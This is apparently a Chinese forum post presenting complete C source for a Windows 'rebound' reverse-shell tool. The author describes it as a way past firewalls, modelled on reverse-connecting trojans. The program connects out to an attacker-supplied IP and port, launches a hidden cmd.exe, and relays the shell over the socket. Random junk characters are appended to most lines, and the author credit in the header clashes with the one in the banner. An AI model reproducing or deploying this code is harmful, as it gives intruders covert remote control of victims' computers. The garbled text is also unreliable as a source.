这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U})Z4>[bvt
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/* ============================== vH9Gf
Rebound port in Windows NT Z8 _QKw>
By wind,2006/7 2T#>66^@q
===============================*/ @](\cT64i3
#include QG=&{-I~[3
#include zE<G wVI~
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#pragma comment(lib,"wsock32.lib") `` mi9E
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void OutputShell(); iVGc\6+'
SOCKET sClient; dd%-bI^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :,(ZMx\
L]HYk}oD.
void main(int argc,char **argv) We*)RXm%
{ H/ 6GD,0
WSADATA stWsaData; R]{AJ"p
int nRet; m}3POl/*j
SOCKADDR_IN stSaiClient,stSaiServer; lhA<wV1-9G
i\?P>:)
if(argc != 3) <\cH9D`dE
{ )pXw 3Fo
printf("Useage:\n\rRebound DestIP DestPort\n"); D;0xROW8{
return; Soa5TM
} ~:%rg H
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WSAStartup(MAKEWORD(2,2),&stWsaData); _(8HK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8\^[@9g3\3
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stSaiClient.sin_family = AF_INET; <IBzh_
stSaiClient.sin_port = htons(0); *?+maK{5+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RZ[r XV5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N|ut^X+|\
{ h?:lO3)TL=
printf("Bind Socket Failed!\n"); =R^V[zTn_
return; tU%-tlU9?
} o?J>mpC
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stSaiServer.sin_family = AF_INET; $[Fh|%\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G1"=}Wt`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *s6MF{Ds
{ d*lnXzQor
printf("Connect Error!"); 4>gMe3]0
return; WbS2w @8
} eD, 7gC-
OutputShell(); 15r<n
} h<9h2
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void OutputShell() -NVk>ENL4
{ qx"?')+
char szBuff[1024]; 4\?I4|{pC
SECURITY_ATTRIBUTES stSecurityAttributes; 'Z7oPq6
OSVERSIONINFO stOsversionInfo; ,FJ9C3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2WIbu-"l
STARTUPINFO stStartupInfo; fwI Zr~l
char *szShell; EYUr.#:
PROCESS_INFORMATION stProcessInformation; s&lZxnIjc
unsigned long lBytesRead; %t\`20-1<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h"YIAQ',
oS$&jd
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +gOCl*L
stSecurityAttributes.lpSecurityDescriptor = 0; 0}Xkj)R,
stSecurityAttributes.bInheritHandle = TRUE; 2&]UFg:8Q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;P _`4w3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r}QW!^F
A"C%.InZ
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gz!72H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `2NL'O:
stStartupInfo.wShowWindow = SW_HIDE; wLU w'Ai
stStartupInfo.hStdInput = hReadPipe; RN3w{^Ll
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L"tj DAV
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GetVersionEx(&stOsversionInfo); A
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switch(stOsversionInfo.dwPlatformId) .$4DK*
{ ZH`6>:
case 1: vUgLWd
szShell = "command.com"; ,q/K&'0`
break; ,US~p_M!
default: ygUvO3Z
szShell = "cmd.exe"; ?YgK]IxD
break; =o _d2Ak
} & HphE2 h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S5v>WI^0h
bg_Zf7{
send(sClient,szMsg,77,0); N!"GwH
while(1) ozkN&0
{ L|6c lGp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .K}u`v T
if(lBytesRead) /n?5J`6
{ 68)z`JI|<)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,Xk8{=
send(sClient,szBuff,lBytesRead,0); p4Vw`i+DnH
} =[t( [DG
else 7x-k-F3
{ k%:]PQjYT
lBytesRead=recv(sClient,szBuff,1024,0); P!B\:B%4~]
if(lBytesRead<=0) break; '/;#{("
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1oj7R7
} ;-^WUf|
} Cl<`uW3
$./JA)`
return; )@1_Dm@0b
}